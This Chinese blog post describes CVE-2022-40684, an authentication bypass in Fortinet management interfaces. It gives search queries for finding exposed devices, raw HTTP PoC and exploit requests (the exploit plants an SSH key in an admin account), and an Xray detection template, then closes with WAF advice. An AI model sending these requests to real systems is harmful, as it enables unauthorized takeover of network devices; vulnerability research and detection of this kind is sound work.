• CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞


    GitHub地址:

    https://github.com/hughink/CVE-2022-40684

    漏洞简介

    Fortinet(飞塔)是一家全球知名的网络安全产品和安全解决方案提供商,其产品包括防火墙、防病毒软件、入侵防御系统和终端安全组件等。在受影响的FortiOS、FortiProxy 和 FortiSwitchManager产品的管理界面中,可以通过使用备用路径或通道绕过身份验证,并在未经认证的情况下通过特制的HTTP或HTTPS请求对管理界面进行操作。

    影响版本

    • FortiOS 版本 7.2.0 - 7.2.1

    • FortiOS 版本 7.0.0 - 7.0.6

    • FortiProxy 版本 7.2.0

    • FortiProxy 版本 7.0.0 - 7.0.6

    • FortiSwitchManager 版本 7.2.0

    • FortiSwitchManager 版本 7.0.0

    搜索语法

    title="FortiProxy"

    title="FortiGate"

    Poc数据包

    GET /api/v2/cmdb/system/admin HTTP/2Host: 35.192.137.121User-Agent: Node.jsAccept-Encoding: gzip, deflateAccept: */*Hosts: 127.0.0.1:9980Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=X-Forwarded-Vdom: root

    Exp数据包

    PUT /api/v2/cmdb/system/admin/用户名 HTTP/2Host: 目标User-Agent: Report RunnerAccept-Encoding: gzip, deflateAccept: */*Connection: closeForwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"Content-Length: 589Content-Type: application/json
    {"ssh-public-key1": "\"公钥内容\""}

    漏洞复现

    经过实验发现User-Agent只能为Node.js,Hosts可以删除,Forwarded中by和for的值可以为空,X-Forwarded-Vdom可以是任意值,最精简Poc

    GET /api/v2/cmdb/system/admin HTTP/2Host: 35.192.137.121User-Agent: Node.jsAccept-Encoding: gzip, deflateAccept*/*Forwarded: by=""for=""X-Forwarded-Vdom: abcd

    测试结果如图,想了想美国IP就算打码了:

    漏洞利用部分就查看hughink的GitHub吧,写的挺详细的。

    Xray Poc

    name: poc-yaml-Fortinet-CVE-2022-40684manual: truetransport: httprules:    r1:        request:            method: GET            path: /api/v2/cmdb/system/admin            headers:                User-Agent: Node.js                Forwarded: by=""for=""                X-Forwarded-Vdom: root            follow_redirects: false        expression:            response.status==200 && response.body.bcontains(b"revision") && response.body.bcontains(b"q_origin_key")expression:    r1()detail:    author: Infiltrator    links:        - https://github.com/NHPT

    漏洞检测结果:

    防护建议

    除了升级版本安装补丁外,由于User-Agent的值固定,Forwarded和X-Forwarded-Vdom存在,所以特征还是很明显的,设置WAF策略应该也是不容易绕过的。

  • 相关阅读:
    调整网络安全策略以适应不断升级的威胁形势
    控制力士乐油研阿托斯比例阀信号转换器放大器
    【一】redis简介
    逆矩阵的算法
    Shell 编程三剑客
    在WPF应用中实现DataGrid的分组显示,以及嵌套明细展示效果
    SQL 插入数据
    CPC训练联盟程序设计夏令营(四)
    三、程序员指南:数据平面开发套件
    python实例练习00001:打开文件输出文件内容
  • 原文地址:https://blog.csdn.net/qq_32261191/article/details/127614713